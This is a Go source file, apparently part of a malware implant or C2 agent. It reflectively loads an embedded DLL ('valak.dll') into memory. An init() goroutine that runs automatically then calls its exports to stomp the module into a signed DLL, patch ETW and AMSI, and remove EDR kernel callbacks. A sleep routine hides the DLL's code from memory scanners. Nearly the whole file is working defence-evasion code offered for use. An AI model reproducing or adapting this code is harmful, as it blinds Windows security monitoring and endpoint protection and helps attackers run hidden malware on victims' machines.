//go:build evasion && windows // 1. Load the embedded valak.dll binary data. // 2. If the data is empty, return false. // 3. Validate DOS and NT PE headers. // 5. Allocate the readWrite (RW) memory for the DLL. VirtualAlloc(0) = put it anywhere. // 6. Copy PE headers into allocated memory. // 7. Copy each section from raw bytes to its virtual address. // 8. Apply base relocations if the DLL didn't load at its preferred address. // 9. Resolve imports (fill IAT — kernel32, ntdll, etc). // 10. Find .text section bounds (needed by EvasionSleep). // 11. Set memory protections on each section (.text=RX, .data=RW). // 12. Resolve exports (find function addresses in the export table). // 13. Call DllMain(DLL_PROCESS_ATTACH) — Zig CRT startup. // 14. Call init_evasion() — scan ntdll for syscall gadgets. // 15. Set dllLoaded=true and return. // 16. EvasionSleep — protect DLL .text with PAGE_NOACCESS during idle, then restore. // 17. init() — spawns goroutine, calls DLL loader, runs stomp→ETW→AMSI→EDR in order. package core import ( "encoding/binary" "log" "syscall" "time" "unsafe" "golang.org/x/sys/windows" ) var ( valakBase uintptr dllTextStart uintptr dllTextSize uintptr dllLoaded bool procInit uintptr procPatchETW uintptr procPatchAMSI uintptr procRemoveEDRCallbacks uintptr procStompEvasion uintptr procIsRelocated uintptr ) const ( imageDosSignature = 0x5A4D imageNTSignature = 0x00004550 imageDirEntryExport = 0 memCommit = 0x00001000 memReserve = 0x00002000 pageReadwrite = 0x04 pageExecuteRead = 0x20 pageExecReadwrite = 0x40 dllProcessAttach = 1 ) func loadValakDLLReflective() bool { data := valakDLLBin // 1 if len(data) == 0 { return false // 2 } dosHeader := (*imageDOSHeader)(unsafe.Pointer(&data[0])) // → start 3 if dosHeader.E_magic != imageDosSignature { return false } ntOffset := dosHeader.E_lfanew ntHeader := (*imageNTHeaders64)(unsafe.Pointer(&data[ntOffset])) if ntHeader.Signature != imageNTSignature { return false } imageBase := ntHeader.OptionalHeader.ImageBase sizeOfImage := uintptr(ntHeader.OptionalHeader.SizeOfImage) sizeOfHeaders := uintptr(ntHeader.OptionalHeader.SizeOfHeaders) // ← end 4 // always allocate anywhere, always apply relocs. High x64 image bases // (0x180000000+) can fail silently on VMs and EDR-protected systems. base, err := windows.VirtualAlloc(0, sizeOfImage, memReserve|memCommit, pageReadwrite) // → start 5 if err != nil { return false } valakBase = base // ← end 5 copy(unsafe.Slice((*byte)(unsafe.Pointer(base)), sizeOfHeaders), data[:sizeOfHeaders]) // 6 sectionOffset := ntOffset + 4 + 20 + uint32(ntHeader.FileHeader.SizeOfOptionalHeader) sections := unsafe.Slice((*imageSectionHeader)(unsafe.Pointer(&data[sectionOffset])), ntHeader.FileHeader.NumberOfSections) // → start 7 for i := range sections { sec := §ions[i] if sec.SizeOfRawData == 0 { continue } dst := base + uintptr(sec.VirtualAddress) if dst < base || dst+uintptr(sec.SizeOfRawData) > base+sizeOfImage { continue } srcOff := uintptr(sec.PointerToRawData) if srcOff+uintptr(sec.SizeOfRawData) > uintptr(len(data)) { continue } copy(unsafe.Slice((*byte)(unsafe.Pointer(dst)), sec.SizeOfRawData), unsafe.Slice((*byte)(unsafe.Pointer(&data[sec.PointerToRawData])), sec.SizeOfRawData)) } // ← end 7 delta := int64(base) - int64(imageBase) // → start 8 if delta != 0 { applyRelocations(data, base, delta, ntHeader) } // ← end 8 resolveImports(data, base, ntHeader) // 9 for i := range sections { // → start 10 if sections[i].Name[0] == '.' && sections[i].Name[1] == 't' && sections[i].Name[2] == 'e' && sections[i].Name[3] == 'x' && sections[i].Name[4] == 't' { dllTextStart = base + uintptr(sections[i].VirtualAddress) dllTextSize = uintptr(sections[i].VirtualSize) break } } // ← end 10 for i := range sections { // → start 11 sec := §ions[i] if sec.VirtualAddress == 0 { continue } addr := base + uintptr(sec.VirtualAddress) prot := sectionProtect(sec.Characteristics) var old uint32 windows.VirtualProtect(addr, uintptr(sec.VirtualSize), prot, &old) } // ← end 11 resolveExports(data, base, ntHeader) // 12 entry := base + uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) if entry != base { // → start 13 syscall.SyscallN(uintptr(entry), base, uintptr(dllProcessAttach), 0) } // ← end 13 if procInit != 0 { // → start 14 syscall.SyscallN(procInit) } // ← end 14 log.Printf("[evasion] valak.dll reflectively loaded (%d bytes)", len(data)) dllLoaded = true // 15 return true } type imageDOSHeader struct { E_magic uint16 _ [58]byte E_lfanew uint32 } type imageFileHeader struct { _ [2]byte NumberOfSections uint16 _ [12]byte SizeOfOptionalHeader uint16 _ [2]byte } type imageDataDirectory struct { VirtualAddress uint32 Size uint32 } type imageOptionalHeader64 struct { _ [16]byte AddressOfEntryPoint uint32 BaseOfCode uint32 ImageBase uint64 SectionAlignment uint32 FileAlignment uint32 _ [16]byte SizeOfImage uint32 SizeOfHeaders uint32 _ [48]byte DataDirectory [16]imageDataDirectory } type imageNTHeaders64 struct { Signature uint32 FileHeader imageFileHeader OptionalHeader imageOptionalHeader64 } type imageSectionHeader struct { Name [8]byte VirtualSize uint32 VirtualAddress uint32 SizeOfRawData uint32 PointerToRawData uint32 PointerToRelocations uint32 PointerToLinenumbers uint32 NumberOfRelocations uint16 NumberOfLinenumbers uint16 Characteristics uint32 } type imageExportDirectory struct { _ [12]byte _ [4]byte _ [4]byte NumberOfFunctions uint32 NumberOfNames uint32 AddressOfFunctions uint32 AddressOfNames uint32 AddressOfNameOrdinals uint32 } // Characteristics is at offset 36 in IMAGE_SECTION_HEADER. // IMAGE_SCN_MEM_EXECUTE=0x20000000, IMAGE_SCN_MEM_READ=0x40000000, IMAGE_SCN_MEM_WRITE=0x80000000 func sectionProtect(chars uint32) uint32 { switch { case chars&0x20000000 != 0 && chars&0x80000000 != 0: return pageExecReadwrite case chars&0x20000000 != 0: return pageExecuteRead case chars&0x80000000 != 0: return pageReadwrite default: return pageReadwrite } } func applyRelocations(_ []byte, base uintptr, delta int64, ntHeader *imageNTHeaders64) { relocDir := ntHeader.OptionalHeader.DataDirectory[5] // IMAGE_DIRECTORY_ENTRY_BASERELOC if relocDir.VirtualAddress == 0 || relocDir.Size == 0 { return } relocData := unsafe.Slice((*byte)(unsafe.Pointer(base+uintptr(relocDir.VirtualAddress))), relocDir.Size) off := uintptr(0) for off < uintptr(relocDir.Size) { blockVA := binary.LittleEndian.Uint32(relocData[off:]) blockSize := binary.LittleEndian.Uint32(relocData[off+4:]) if blockSize == 0 { break } entries := (blockSize - 8) / 2 for e := uint32(0); e < entries; e++ { entryOff := off + 8 + uintptr(e*2) entry := binary.LittleEndian.Uint16(relocData[entryOff:]) relocType := entry >> 12 relocOff := entry & 0xFFF if relocType == 0 { continue } addr := unsafe.Pointer(base + uintptr(blockVA) + uintptr(relocOff)) if relocType == 10 { val := (*uint64)(addr) *val = uint64(int64(*val) + delta) } } off += uintptr(blockSize) } } func resolveExports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) { exportDir := ntHeader.OptionalHeader.DataDirectory[imageDirEntryExport] if exportDir.VirtualAddress == 0 || exportDir.Size == 0 { return } exp := (*imageExportDirectory)(unsafe.Pointer(base + uintptr(exportDir.VirtualAddress))) names := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfNames))), exp.NumberOfNames) funcs := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfFunctions))), exp.NumberOfFunctions) ords := unsafe.Slice((*uint16)(unsafe.Pointer(base+uintptr(exp.AddressOfNameOrdinals))), exp.NumberOfNames) lookup := func(name string) uintptr { for i := uint32(0); i < exp.NumberOfNames; i++ { fnName := goString(base + uintptr(names[i])) if fnName == name { if uint32(ords[i]) < exp.NumberOfFunctions { return base + uintptr(funcs[ords[i]]) } } } return 0 } procInit = lookup("init_evasion") procPatchETW = lookup("patch_etw") procPatchAMSI = lookup("patch_amsi") procRemoveEDRCallbacks = lookup("remove_edr_callbacks") procStompEvasion = lookup("stomp_evasion") procIsRelocated = lookup("is_relocated") } type imageImportDescriptor struct { OriginalFirstThunk uint32 _ uint32 // TimeDateStamp _ uint32 // ForwarderChain Name uint32 FirstThunk uint32 } func resolveImports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) { importDir := ntHeader.OptionalHeader.DataDirectory[1] // IMAGE_DIRECTORY_ENTRY_IMPORT if importDir.VirtualAddress == 0 || importDir.Size == 0 { return } modKernel32 := windows.NewLazySystemDLL("kernel32.dll") procLoadLibrary := modKernel32.NewProc("LoadLibraryA") procGetModuleHandleA := modKernel32.NewProc("GetModuleHandleA") procGetProcAddress := modKernel32.NewProc("GetProcAddress") desc := (*imageImportDescriptor)(unsafe.Pointer(base + uintptr(importDir.VirtualAddress))) descSize := uintptr(unsafe.Sizeof(*desc)) for desc.Name != 0 { dllName := goString(base + uintptr(desc.Name)) hMod, _, _ := procGetModuleHandleA.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName)))) if hMod == 0 { hMod, _, _ = procLoadLibrary.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName)))) } if hMod == 0 { desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize)) continue } thunkRVA := desc.OriginalFirstThunk if thunkRVA == 0 { thunkRVA = desc.FirstThunk } thunk := (*uint64)(unsafe.Pointer(base + uintptr(thunkRVA))) iat := (*uint64)(unsafe.Pointer(base + uintptr(desc.FirstThunk))) step := uintptr(8) for *thunk != 0 { var fnAddr uintptr if *thunk&(1<<63) != 0 { ordinal := uintptr(*thunk & 0xFFFF) fnAddr, _, _ = procGetProcAddress.Call(hMod, ordinal) } else { nameRVA := uint32(*thunk & 0x7FFFFFFF) fnName := goString(base + uintptr(nameRVA) + 2) fnAddr, _, _ = procGetProcAddress.Call(hMod, uintptr(unsafe.Pointer(unsafe.StringData(fnName)))) } *iat = uint64(fnAddr) thunk = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(thunk)) + step)) iat = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(iat)) + step)) } desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize)) } } func goString(addr uintptr) string { s := unsafe.String((*byte)(unsafe.Pointer(addr)), 256) for j := 0; j < len(s); j++ { if s[j] == 0 { return s[:j] } } return s } // 16. EvasionSleep — protect DLL .text with PAGE_NOACCESS during idle, then restore. func EvasionSleep(d time.Duration) { if dllLoaded && dllTextStart != 0 { var old uint32 windows.VirtualProtect(dllTextStart, dllTextSize, windows.PAGE_NOACCESS, &old) // make .text unreadable time.Sleep(d) // sleep from Go binary, not DLL windows.VirtualProtect(dllTextStart, dllTextSize, old, &old) // restore return } time.Sleep(d) // fallback: plain sleep, no obfuscation } // 17. init() — called automatically by Go when package loads. Spawns goroutine that loads // the DLL and calls each evasion function in order: stomp → ETW → AMSI → EDR. func init() { go func() { // → start 17 if loadValakDLLReflective() { if procStompEvasion != 0 { // stomp first — hides module in signed DLL syscall.SyscallN(procStompEvasion, valakBase) if procIsRelocated != 0 { r, _, _ := syscall.SyscallN(procIsRelocated) if r != 0 { log.Printf("[evasion] module stomped into signed DLL | base: 0x%x", valakBase) } } } if procPatchETW != 0 { syscall.SyscallN(procPatchETW) log.Printf("[evasion] ETW patched") } if procPatchAMSI != 0 { syscall.SyscallN(procPatchAMSI) log.Printf("[evasion] AMSI patched") } if procRemoveEDRCallbacks != 0 { syscall.SyscallN(procRemoveEDRCallbacks) log.Printf("[evasion] EDR callbacks removed") } } }() // ← end 17 } // no package-level lazy procs, all resolved locally in resolveImports